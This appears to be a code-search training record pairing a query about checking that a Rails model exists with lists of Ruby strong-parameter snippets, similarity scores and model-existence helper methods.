"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def student_params(*args) #is the helper method \n\n\t\tparams.require(:student).permit(*args)\n\t\t#uses .require and .permit methods as stronger params to prevent hacks through inspect element right click edit html \n\t\t#require restricts, permit allows, and *args is for the custom arguments\n\tend",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allow_params_authentication!; end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def opp_params #Purpose of the opp params is for security purposes against hackers these are strong parameters\n\t\tparams.require(:opp).permit(:title, :text)\n\tend",
"def user_params\n end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def strengthen_params!(method_name)\n permitting_model_name = self.class.instance_variable_defined?(:@permitting_model_name) && self.class.instance_variable_get(:@permitting_model_name)\n target_model_name = (permitting_model_name || self.class.name.sub(/.+::/, '').sub(/Controller$/, '')).singularize.underscore.tr('/', '_').to_sym\n permitted_attributes = self.class.instance_variable_defined?(:@permitted_attributes) && self.class.instance_variable_get(:@permitted_attributes)\n\n method_parameters = method(method_name).parameters\n method_parameters.each do |type, key|\n trimmed_key = key.to_s.sub(/_params\\z/, '').to_sym\n if (trimmed_key == target_model_name) && permitted_attributes\n params.require(trimmed_key) if %i[req keyreq].include?(type)\n params[trimmed_key] = params[trimmed_key].try :permit, *permitted_attributes if params.key? trimmed_key\n end\n end\n end",
"def analise_privacidade_params\n #params.require(:analise_privacidade).permit(:rede_social, :url_rede_social, :descricao_analise, tipo_coumunicacoes_attributes: [:id, :tipo_comunicacao, :observacao])\n \n \n params.require(:analise_privacidade).permit!\n \n \n \n \n \n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def secret_params\n params.require(:secret).permit(:name, :value)#.merge(user_id: current_user.id)\n end",
"def user_params\nend",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def user_params\r\n end",
"def user_params\n params.require(:user).permit(:username, :email, :age, :political_affiliation, :password)\n # this is saying go into params look for a key of what is in the require() method and look inside that object for the keys included in permit()\n end",
"def safe_params\n safe_attributes = %i[name key]\n params.require(:role).permit(safe_attributes)\n end",
"def less_active_member_params\n clean_params = params.require(:less_active_member).permit(:surname, :given_name, :current_address, :new_address, :new_phone, :reference, :new_note, :resources, tag_list: [])\n clean_params.merge!({current_user_id: current_user.id}) unless current_user.nil?\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n\t\t\t\t\tparams.require(RicAuth.user_model.model_name.param_key).permit(\n\t\t\t\t\t\t:current_password, \n\t\t\t\t\t\t:password, \n\t\t\t\t\t\t:password_confirmation\n\t\t\t\t\t)\n\t\t\t\tend",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def capsule_params #strong params\n params.require(:capsule).permit(:name) # param requires a key of capsule and within that key permit a key of name \n #permit a key of name\n end",
"def backend_user_params\n params.permit!\n end",
"def user_params\n \t # params will require a user key, and user key will require the 5 keys\n params.require(:user).permit(:email, :password, :name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def supplier_params\n base = [:email, :tin, :street_and_number, :postal_code, :city, :state, :country,\n :entreprise_name, :telephone_number1, :telephone_number2,\n :unit_type, :currency]\n current_password = params[:supplier][:current_password]\n if current_broker\n if params[:password].blank?\n base.push(:identifier, :approved)\n else\n base.push(:identifier, :approved, :password, :password_confirmation)\n end\n elsif !current_password.blank? && @supplier.valid_password?(current_password)\n base.push(:password, :password_confirmation)\n end\n params.require(:supplier).permit(base)\n end",
"def initialize( params )\n super( Parametrization.permit( params, whitelist, model_name ) )\n @params = @params.with_indifferent_access # After building the internal params hash, make it a little friendlier.\n end",
"def user_params\n allowed_params = [:username, :email, :jabber_id, :jabber_otr_fingerprint, :avatar]\n allowed_params << [:password, :password_confirmation] unless params[:user][:password].blank?\n allowed_params << [:role] if current_user.moderator_or_admin?\n allowed_params << [:tenant_ids => []] if current_user.admin?\n allowed_params << [:user_ids => []] if current_user.moderator_or_admin?\n params.require(:user).permit(allowed_params)\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def unsolved_params\n \n end",
"def user_params #variaveis usadas para secretaria ou admin também se encontram aqui, não sei se era assim que tinha que fazer\n params.require(:user).permit(:pre_requirement, :class_status,:addtheme, :name, :email, :kind,:password,:password_confirmation, :password_digest)\n end",
"def configure_sign_up_params_ted\n\n params.permit(:consorciot, :sucursalbt, :siglas, :vendedor, :contacto)\n #ppediente de completar, de lo contrario la asigacion la haremos com params directo del borwser al modelo...? (like session[:id_cliente] y session[:tipo_cliente]) ...+/*\n end",
"def form_params\n # Remove role and privilege ids as these are managed by the app not by\n # the active record associations\n params[:user].delete :role_ids\n params[:user].delete :privilege_ids\n params.require(:user).permit(user_allowable_params)\n end",
"def quote_params\n params.permit!\n end",
"def strong_params_keys\n [key]\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def secret_params\n params.require(:secret).permit(:message, :key, :algorithm)\n end",
"def aluno_params\n #params.require(:aluno).permit(:idacademia, :nome, :nascimento, :sexo, :observacao)\n params.require(:aluno).permit!\n end",
"def safe_params\n params.require(:safe).permit(:game_id, :sTime, :player_id)\n end",
"def strong_parameters\n\t\t\tattrs = self.attribute_names - [\"created_at\", \"updated_at\", \"id\"]\n\t\t\tattrs.push(:_color) if colored? # add the color attribute to the permitted attributes if the object is colorable\n\t\t\tif is_encrypted? # add the color attribute to the permitted attributes if the object is colorable\n\t\t\t\tattrs.push(:_inki_password) \n\t\t\t\tattrs.push(:_inki_password_confirmation) \n\t\t\tend\n\t\t\tattrs.collect do |a|\n\t\t\t\ta.to_sym\n\t\t\tend\n\t\tend",
"def authentic_params\n params.require(:authentic).permit(:Sneakers, :name, :description, :price, :availability, :category_id, :photo )\n end",
"def engagement_params\n #params.require(:branch).permit(:name, :active, :user_id)\n\n raw_parameters = { :name => \"#{params[:name]}\", :active => \"#{params[:active]}\", :user_id => \"#{params[:user_id]}\", :description => \"#{params[:description]}\" }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit(:name, :active, :description, :user_id)\n \n end",
"def secure_params\n { message: params[:new_message], user: current_user, chat_room: active_room }\n end",
"def activity_params \n \n raw_parameters = { \n :activity_Name => \"#{params[:activity_name]}\",\n :active => \"#{params[:active]}\",\n :activity_description => \"#{params[:activity_description]}\",\n :is_page => \"#{params[:is_page]}\"\n }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit( :activity_Name, :active, :activity_description, :is_page)\n \n end",
"def model_params\n params.require(:client_service).permit(:secret, :algorithm, :token_timeout, :expire_at, :suspended, :tag_id)\n end",
"def user_params\n params.permit(\"name\", \"email_id\", \"password\", \"password_confirmation\",\"id\",\"remember\")\n end",
"def validate_params!\n self.params ||= Hash.new\n self.class.instance_variable_get(:@__required_params).each do |e|\n raise ArgumentError, \"Insufficient parameters set (#{e} not supplied)\" if self.params[e].nil?\n end\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def squeak_params\n # {controller=>\"squeaks\", action=>\"create\", id=>3, squeak=>{body=>\"this is the body\", author_id=>7}}\n params.require(:squeak).permit(:body, :author_id)#with authentification, you wouldn't put author_id here\n # what this means:\n # top level of key in the hash, pointing to antoher hash of key of body and author_id pointing to corresponding values\n # params:\n # <ActionController::Parameters {\"squeak\"=>{\"body\"=>\"I am a squeak\", \"author_id\"=>\"1\"}, \"controller\"=>\"squeaks\", \"action\"=>\"create\"} permitted: false>\n # squeak_params:\n # <ActionController::Parameters {\"body\"=>\"I am a squeak\", \"author_id\"=>\"1\"} permitted: true>\n # \n end",
"def auth_params(params)\n params.permit(\n :name, :description, :event, :delivery_expected,\n :recurrent, :recurrence_rule, :recurrence_end_date,\n :max_member_count, :min_member_count,\n :due_date, :start_date, :genre,\n enrollments_attributes: %i[id _destroy member_id start_time end_time]\n )\n end",
"def good_params\n params.permit(:title)\n end",
"def assumption_params\n attribute_for_all = [:name, :description, :type,]\n array_for_all = {required_by_ids: [], model_ids: []}\n res = if (params[:query_assumption])\n params.require(:query_assumption).permit(attribute_for_all, :question, :argument_inverted, array_for_all)\n elsif (params[:blank_assumption])\n params.require(:blank_assumption).permit(attribute_for_all, :argument_inverted, array_for_all, assumption_ids: [])\n elsif (params[:test_assumption])\n params.require(:test_assumption).permit(attribute_for_all, :r_code, :argument_inverted, array_for_all, required_dataset_fields: [])\n elsif (params[:query_test_assumption])\n params.require(:query_test_assumption).permit(attribute_for_all, :r_code, :argument_inverted, :question, :argument_inverted, array_for_all, required_dataset_fields: [])\n else\n {}\n end\n res[:user] = current_user\n res\n end",
"def aliado_params\n params.require(:aliado).permit(:nombre, :descripcion)\n\n #params.permit(:nombre, :descripcion)\n #params.permit(preferences: {})\n \n\n\n end",
"def some_thing_params\n params.require(:some_thing).permit(:val)\n end",
"def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end",
"def advert_params\n params[:sold_to_user_id] = current_user.id\n params.require(:advert).permit(:season_pass_id, :game_id, :sold_to_user_id)\n end",
"def user_params\n\t\tparams.permit(:food_store_id, :foodquality, :pricing, :service, :ambience, :comment)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def user_params\n params.require(:user).permit(:name, :slug, :salt_masterkey, :pubkey_user, :privkey_user_enc) if params[:user]\n end",
"def quote_params(params); end",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def user_params\n # params.permit([:name, :email, :phone, :password])\n # params.require([:name, :email, :phone, :password])\n params.permit([:name, :email, :password])\n params.require([:name, :email, :password])\n\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def user_params(key = :user)\n params.require(key).permit(:name, :email, :password, :password_confirmation, :dob, :address)\n end",
"def personal_params\n params.require(:amount)\n params.permit(:amount)\n end",
"def article_params #article_params es un nombre que generalmente es convencion\n \t\tparams.require(:article).permit(:title,:body,:cover,:categories,:markup_body)\t#requerimos article, y luego pasamos un arreglo con campos que son permitidos para esta accion\n \t#por ejemplo title y body, y no son permitidos visits_count ni ningun dato que sea sensible, ninguno que queramos que el usuario toque\n \tend",
"def safe_tobe_params\n\t\treturn params.require(:tobe).permit(:title, :reason, :description, :image)\n\tend",
"def user_params\n params.require(:name)\n params.require(:email)\n params.require(:password)\n params.require(:password_confirmation)\n params.require(:active)\n params.require(:admin)\n params.permit(:name,:email,:active,:admin,:password,:password_confirmation)\n # params.require(:user, :).permit(:name, :email, :active, :password, :password_confirmation, :admin)\n end",
"def other_user_param\n \t\tparams.permit(:other_user_id)\n \tend",
"def usuario_params\n \n end",
"def user_params\n if params[:user].present? && params[:user].key?(:password)\n if !current_user.is_admin || params[:user][:password].blank?\n params[:user].delete :password\n end\n end\n\n if params[:user].present? && params[:user].key?(:name)\n if !current_user.is_admin || params[:user][:name].blank?\n params[:user].delete :name\n end\n end\n\n params.require(:user).permit(:name, :handle, :password)\n end",
"def user_params\n # params is a hashtable. It should have in it a key of :user.\n # The value for the :user key is another hash.\n # If params does not contain the key :user, an exception is raised. \n # Only the \"user\" hash is returned and only with the permitted key(s).\n # So we get back { :name => someName, :email => someEmail}\n params.require(:user).permit(:name, :email)\n end",
"def will_params\n wills = params.select { |k, _v| k.starts_with?(\"vault_entry_\") }\n permitted_params = {}\n wills.keys.each do |will|\n permitted_params[will] = [:id, :title, :executor_id, :notes, :agent_ids, :document_id, primary_beneficiary_ids: [], secondary_beneficiary_ids: [], share_ids: [], share_with_contact_ids: []]\n end\n wills.permit(permitted_params)\n end",
"def usuario_params\n #params.require(:usuario).permit(:username, :email, :password_digest, :id_tipo_usuario)\n params.require(:usuario).permit(:username, :email, :password, \n :password_confirmation, :id_tipo_usuario)\n end",
"def raw_params(auth); end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def usuario_params\n #params.require(:usuario)#.permit(:usuario, :nombre, :apellido, :twitter)\n params.permit(:usuario, :nombre, :apellido, :twitter)\n end",
"def verificar_datos_cliente_id_y_tipo_cliente\n\n @cliente_id = params['cliente_id'] # params.permit(:tipo_cliente) #params['cliente_id'] #require(:ciudadt).permit(:cliente_id)\n @tipo_cliente = params['tipo_cliente'] # \"klk\" # params['tipo_cliente'] # params.require(:ciudadt).permit(:tipo_cliente)\n\n #tambien lo guardo en la session para fines de acceso general desde cualquier parte del servicor 9controladores)\n session[:cliente_id] = @cliente_id\n session[:tipo_cliente] = @tipo_cliente\n \nend",
"def user_strong_params\n html_safe(params[:user]).strip\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def usuario_params\n allowed_params = [:nombre, :telefono]\n if current_user.admin?\n allowed_params << :email\n allowed_params << :role\n allowed_params << :id_status\n end\n if would_change_password\n allowed_params << :password\n allowed_params << :password_confirmation\n end\n params.require(:user).permit(allowed_params)\n end",
"def api_key_params\n params.require(:api_key).permit(:user_id, :key, :secret, :active)\n end",
"def params_authenticatable?; end",
"def book_params\n# params.permit(:title, :author, :rating, :img, :genre, :description, :id, :authenticity_token)\n book_stuff = { title: params[:title], \n author: params[:author], \n img: params[:img], \n genre: params[:genre], \n description: params[:description], \n user: current_user }\n \n return book_stuff\n end"
] | [
"0.6920249",
"0.68722063",
"0.6868638",
"0.68449163",
"0.68334746",
"0.6697007",
"0.6668872",
"0.66526383",
"0.6612213",
"0.65737164",
"0.6543004",
"0.6520707",
"0.6517135",
"0.647815",
"0.6474019",
"0.6464357",
"0.6429797",
"0.642566",
"0.63946843",
"0.634887",
"0.6345376",
"0.63391304",
"0.63293654",
"0.63130903",
"0.6308829",
"0.6307329",
"0.63058764",
"0.63051206",
"0.62939733",
"0.62876225",
"0.62639636",
"0.6248015",
"0.6236032",
"0.62207407",
"0.6219364",
"0.62178993",
"0.62150055",
"0.6203929",
"0.6198307",
"0.6181978",
"0.61532223",
"0.61522347",
"0.61443883",
"0.6135416",
"0.6118022",
"0.61116093",
"0.61051977",
"0.6099069",
"0.6091747",
"0.6087494",
"0.60868883",
"0.6079344",
"0.6066658",
"0.606366",
"0.60469246",
"0.60391897",
"0.602866",
"0.60274196",
"0.60233647",
"0.6018571",
"0.6015484",
"0.59981287",
"0.59977126",
"0.59974647",
"0.5995984",
"0.5987107",
"0.5982882",
"0.5980818",
"0.5977635",
"0.59741426",
"0.59632105",
"0.59572",
"0.59544814",
"0.59532416",
"0.5951612",
"0.59495527",
"0.59426624",
"0.5939426",
"0.59348047",
"0.59302217",
"0.59286535",
"0.5927734",
"0.5927447",
"0.59216005",
"0.5921242",
"0.59134036",
"0.5912128",
"0.5910243",
"0.59063333",
"0.59058994",
"0.5904981",
"0.59043366",
"0.59042954",
"0.5904226",
"0.59028614",
"0.5901862",
"0.5890649",
"0.5890568",
"0.58887845",
"0.58881915",
"0.5886154"
] | 0.0 | -1 |
Checks that the model given as a string exists | def model_exists?
if model.present?
begin
model.constantize
rescue NameError
errors.add :model, "#{model} is not a valid model"
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def model_exists?(model_type, name)\n get_model(model_type, name) != nil\n end",
"def model_exists?(model)\n File.exists? File.join(RAILS_ROOT,'app/models', model + '.rb')\n end",
"def model_exists?(model)\n File.exists? File.join(RAILS_ROOT,'app/models', model + '.rb')\nend",
"def model_exists?\n File.exist? destination_path(\"app/models/#{singular_name}.rb\")\n end",
"def model_exists?(model)\n model.exists? # Throws invalid ActiveRecord::StatementInvalid if doesn't exist\n rescue ActiveRecord::StatementInvalid => e\n return false if e.message.match?(/Table .* doesn't exist/i)\n\n raise e\n end",
"def model_exists?\n File.exist?(File.join(destination_root, model_path))\n end",
"def model_exists?\n File.exists?(File.join(destination_root, model_path))\n end",
"def model_name_not_blank\n if model_name.nil? || model_name.strip.empty?\n raise ArgumentError.new('Model name nil or empty.')\n end\n end",
"def valid_model?(database_model)\n database_model == @mapping.database_model.to_s\n end",
"def model_name_not_blank\n if argument_blank?(model_name)\n raise ArgumentError.new('Model name is missing')\n end\n end",
"def model_name_already_exists?\n @camel_name = name.to_s.underscore.camelize\n\n @project_name = \"\"\n @project_name = fetch_project_name\n\n return false unless already_exists?(@camel_name, @project_name)\n true\n end",
"def check_model?\n !check_model.nil?\n end",
"def model?\n\t\tself.class.name.demodulize.tableize.singularize == \"model\"\n\tend",
"def invalid_class_name?(model_class)\n model_class.name.constantize\n false\n rescue NameError\n true\n end",
"def model_name_valid\n unless model_name.match(/^[a-z]/i)\n raise ArgumentError.new(\"Invalid model name. The model name shouldn't begin with a number.\")\n end\n end",
"def model_name_valid\n unless model_name.match(/^[a-z]/i)\n raise ArgumentError.new(\"Invalid model name. The model name shouldn't begin with a number.\")\n end\n end",
"def validate_phone_model_exists()\n if ! PhoneModel.exists?( :id => self.phone_model_id )\n errors.add( :phone_model_id, \"There is no phone model with the given ID #{self.phone_model_id}.\" )\n end\n end",
"def include?(model)\n exists?(model.id)\n end",
"def entry_exists?(model, name)\n\t\tbool = false\n\t\tmodel.each do |hash|\n\t\t\thash.each do |k, v|\n\t\t\t\tif v == name\n\t\t\t\t\tbool = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tbool\n\tend",
"def explicit_fullfilled_model?\n !!explicit_fullfilled_model\n end",
"def exists?\n model.exists?(@id)\n end",
"def specified?\n !options[:model].blank?\n end",
"def check_models(shop_item_model, storage_item_model)\n return false if (shop_item_model.nil? || shop_item_model.empty? || shop_item_model == \"NULL\") || (storage_item_model.empty? || storage_item_model.nil? || storage_item_model == \"NULL\")\n p \"#{shop_item_model} - #{storage_item_model}\"\n begin\n shop_item_model[\"-\"] = \"\" if shop_item_model.index \"-\"\n storage_item_model[\"-\"] = \"\" if storage_item_model.index \"-\"\n rescue => e\n p e\n end\n shop_item_model.downcase == storage_item_model.downcase\n end",
"def valid_model_for?(app)\n self.destination_root = options[:root]\n return false unless correct_path?\n\n check_app_existence(app)\n\n if options[:destroy]\n self.behavior = :revoke\n else\n unless options[:force]\n say \"#{@camel_name} already exists.\"\n say \"Please, change the name.\"\n return false\n end\n end if model_name_already_exists?\n\n return false if has_invalid_fields?\n\n check_orm\n end",
"def global_model?(class_name)\n global_model_names.include?(class_name)\n end",
"def does_a_manufacturer_to_this_phone_model_exist\n if ! Manufacturer.exists?(:id => self.manufacturer_id)\n errors.add(:manufacturer_id, \"There is no Manufacturer with the given id #{self.manufacturer_id}.\")\n end \n end",
"def check_model_consistency\n\t\t\t\t\tif !self.nature.blank?\n\t\t\t\t\t\tmodel_classname = config(:natures, self.nature.to_sym, :model)\n\t\t\t\t\tend\n\t\t\t\t\tif !model_classname.blank? && !self.model_id.blank?\n\t\t\t\t\t\tmodel_class = model_classname.constantize\n\t\t\t\t\t\tmodel = model_class.find_by_id(self.model_id)\n\t\t\t\t\t\tif !model.nil?\n\t\t\t\t\t\t\tself.model_type = model_classname\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tself.model_id = nil\n\t\t\t\t\tself.model_type = nil\n\t\t\t\t\treturn true\n\t\t\t\tend",
"def is_this?(model_type)\n [name.to_s, resource_name].map(&:downcase).include?(model_type.to_s.downcase)\n end",
"def can_process_model?(model_name)\n options[:exclude_models].nil? ||\n options[:exclude_models].is_a?(Array) && !options[:exclude_models].include?(model_name)\n end",
"def validate_model\n raise CarValidationErrors.new(\"Invalid Model\") unless MAKES[make].include?(model)\n end",
"def test_model_naming\n assert model.class.respond_to?(:model_name), \"The model should respond to model_name\"\n model_name = model.class.model_name\n assert model_name.respond_to?(:to_str)\n assert model_name.human.respond_to?(:to_str)\n assert model_name.singular.respond_to?(:to_str)\n assert model_name.plural.respond_to?(:to_str)\n end",
"def safe_load_model(model_path_string) \n model_path = OpenStudio::Path.new(model_path_string)\n if OpenStudio::exists(model_path)\n versionTranslator = OpenStudio::OSVersion::VersionTranslator.new \n model = versionTranslator.loadModel(model_path)\n if model.empty?\n puts \"Version translation failed for #{model_path_string}\"\n exit\n else\n model = model.get\n end\n else\n puts \"#{model_path_string} couldn't be found\"\n exit\n end\n return model\nend",
"def safe_load_model(model_path_string) \n model_path = OpenStudio::Path.new(model_path_string)\n if OpenStudio::exists(model_path)\n versionTranslator = OpenStudio::OSVersion::VersionTranslator.new \n model = versionTranslator.loadModel(model_path)\n if model.empty?\n puts \"Version translation failed for #{model_path_string}\"\n exit\n else\n model = model.get\n end\n else\n puts \"#{model_path_string} couldn't be found\"\n exit\n end\n return model\nend",
"def exists\n self.class.exists(@name)\n end",
"def has_submodel?(model)\n each_submodel.any? { |m| m == model }\n end",
"def has_container_model?(name)\n container_models.has_key?(name.to_str)\n end",
"def verify_model?(klass)\n collection_name = URI.parse(id).host.chomp(\".collection\")\n\n return klass.collection_name.to_s == collection_name if klass.respond_to?(:collection_name)\n\n klass.name == ActiveSupport::Inflector.classify(collection_name)\n end",
"def validate_params(model_name, attribute, file_name)\n unless defined?(model_name)\n raise \"Invalid model: #{ model_name }\"\n end\n\n unless model_name.constantize.new.respond_to?(attribute)\n raise \"Invalid attribute: #{ model_name } doesn't have #{ attribute } attribute\"\n end\n\n raise \"No such file: #{ file_name }\" unless File.exists?(file_name)\nend",
"def is_model? model\n Handset.is_model? request.user_agent, model\n end",
"def safe_load_model(model_path_string)\n model_path = OpenStudio::Path.new(model_path_string)\n if OpenStudio::exists(model_path)\n versionTranslator = OpenStudio::OSVersion::VersionTranslator.new\n model = versionTranslator.loadModel(model_path)\n if model.empty?\n raise \"Version translation failed for #{model_path_string}\"\n else\n model = model.get\n end\n else\n raise \"#{model_path_string} couldn't be found\"\n end\n return model\n end",
"def dynamic_model_ready?\n return unless dynamic_model(no_check: true)\n return true if dynamic_model.implementation_class_defined?(Object, fail_without_exception: true)\n\n dynamic_model.generate_model if dynamic_model&.ready_to_generate?\n dynamic_model.implementation_class_defined?(Object, fail_without_exception: true)\n end",
"def check_presence!(obj, name)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n fail ArgumentError, \"#{name} must be given\"\n end\n end",
"def check_presence!(obj, name)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n raise ArgumentError, \"#{name} must be given\"\n end\n end",
"def check_presence!(obj, name)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n raise ArgumentError, \"#{name} must be given\"\n end\n end",
"def warn_if_invalid_filepath(filepath)\n\n rails_model_pathname = Pathname.new(filepath)\n unless rails_model_pathname.exist?\n puts \"'#{filepath}'is not a valid filepath\"\n exit 1\n end\n\n rails_model_pathname \nend",
"def exist?\n not self.name.nil?\n end",
"def exists?\n load!\n true\n rescue RecordNotFound\n false\n end",
"def does_user_exist?(username)\n user = UsersModel.find_by(:name => username.to_s)\n if user\n return true\n else\n return false\n end\nend",
"def sited_model?\n false\n end",
"def has_base_model?(model)\n # {{{\n @base_klasses.each_pair { |table,map|\n aggr_model = map.first\n if aggr_model == model || \n aggr_model.__associations__.has_base_model?(model) then\n return true \n end\n }\n return false\n end",
"def can_create_pluralized_model_for?(klass)\n !klass.to_s.match(/^\\#/)\n end",
"def model_valid?\n true\n end",
"def model_valid?\n true\n end",
"def assert_attribute_exists(model, attribute)\n assert_respond_to model, attribute\n end",
"def validate_presence_of(*args)\n class_eval %{\n def is_exist?\n #{args}.all? { |x| eval(x.to_s) }\n end\n }\n end",
"def find_model_argument(*args)\n # First a valid model object is searched for.\n model = args.find { |arg|\n arg.is_a?(Sketchup::Model) && model.valid?\n }\n # Then we look for objects that might return a valid model object.\n unless model\n entity ||= args.find { |arg|\n arg.respond_to?(:model) &&\n arg.model.is_a?(Sketchup::Model) && arg.model.valid?\n }\n if entity\n model = entity.model\n end\n end\n # We should only return valid objects.\n unless model && model.valid?\n return nil\n end\n model\n end",
"def validate_custom_model\n employee = Employee.current\n country_id =\n if employee.present? && employee.operating_country_id.present?\n employee.operating_country_id\n elsif self.facility.present?\n self.facility.country_id\n else\n nil\n end\n country = Country.find(country_id) if country_id.present?\n if self.custom_model_enabled? && self.custom_model.present?\n # Add errors if model is already available for current country\n if country.present? && country.models.where(\"LOWER(name) = ? and vehicle_type_id = ?\", self.custom_model.strip.downcase, self.vehicle_type_id).present?\n self.errors.add(:custom_model, I18n.t(\"activerecord.errors.models.vehicle.attributes.custom_model_exists\"))\n end\n end\n end",
"def exists?(obj)\n obj.is_a?(String) ? url?(obj) : doc?(obj)\n end",
"def check_resource\n resource.singular ||= @res.singular.to_s\n resource.plural ||= @res.plural.to_s\n resource.model ||= @res.singular.camelize.constantize\n resource.name_prefix ||= @res.name_prefix || ''\n resource.model_name = resource.model.class_name.to_s # Always should be te same as resource.model.class_name\n rescue => e\n raise StandardError.new(\"** AutoRest: model not found supplying defaults for #{@res.singular.camelize}.\\n#{e.message}\")\n end",
"def class_exists? string\n\tc = Object.const_get string\n\treturn c.is_a? Class\nrescue NameError\n\treturn false\nend",
"def valid?\n @valid ||= begin \n relation.exists?\n true # set valid to true, if relation.exists?(model) does not throw any exception\n rescue\n false\n end\n end",
"def missing?(obj)\n obj.to_s.strip.empty?\n end",
"def valid?\n metadata && id && name rescue false\n end",
"def exists?(str)\n ::VIM::evaluate(%{exists(\"#{str}\")}).to_i != 0\n end",
"def saved_object_exists?(type, id)\n begin\n get_saved_object_by_id(type, id).present?\n rescue ApiExceptions::NotFoundError\n false\n end\n end",
"def test_model_stored\r\n model=Model[1]\r\n assert_equal(@mymodel, model)\r\n \r\n newmodel = Model.new(2, 'short term') \r\n assert_equal(Model[2], newmodel)\r\n Model.delete(newmodel)\r\n\r\n begin\r\n Model[newmodel.ident]\r\n assert(false)\r\n rescue EvidenceError\r\n assert(true)\r\n end\r\n end",
"def not_found_model(identifier, *args)\n identifier\n end",
"def project_model?(name)\n return Rake::application[name].respond_to?('project_model')\n end",
"def model_name_or_title(model)\n model.respond_to?('title') ? model.title : model.name rescue model\n end",
"def new_model?\n self.primary_key.nil? or self.primary_key.empty?\n end",
"def coming_under?(model)\n @determine.nil? or !!@determine.call(model)\n end",
"def check_presence(model, field)\n assert model.invalid?, \"#{model.class} without #{field} should not be valid\"\n assert_not_empty model.errors[field]\n end",
"def exist?\n self.class.exist?(@path)\n end",
"def phone_model_keys_has_to_be_available\n self.sip_account.undefined_phone_model_keys.include?(self.phone_model_key)\n end",
"def exists?(object); end",
"def exists?(object); end",
"def safe?(model, thing)\n safe = false\n safe ||= !model.association(thing).nil? if model.respond_to?('association')\n if model.respond_to? 'attributes'\n safe ||= model.attributes.keys.include?(thing)\n end\n safe\n end",
"def name_present?\n name.present?\n end",
"def check_if_record_exists\n\tif MenuItem.exists?(:name =>self.name,:vendor_id=>self.vendor_id)\n\t\tputs\"This record already exists\"\n\t\tthrow:abort\n\telse\n\t\treturn true\n\tend\n end",
"def valid_object model, id\n unless object = model.find_by_id(id)\n errors = {:id => 'no corresponding entry'}\n render :json => {:code => 101, :type => 'wrong_parameters', :parameters => errors}, :status => 400, :method => :get\n return false\n end\n return object\n end",
"def item_present?(name)\n return true if Item.find_by_name(name).present?\n return false\n end",
"def product_title_exists?(input_title)\n\t\ttitle_exists = self.class.find_by_title(input_title) ? true : false\t\t\n\tend",
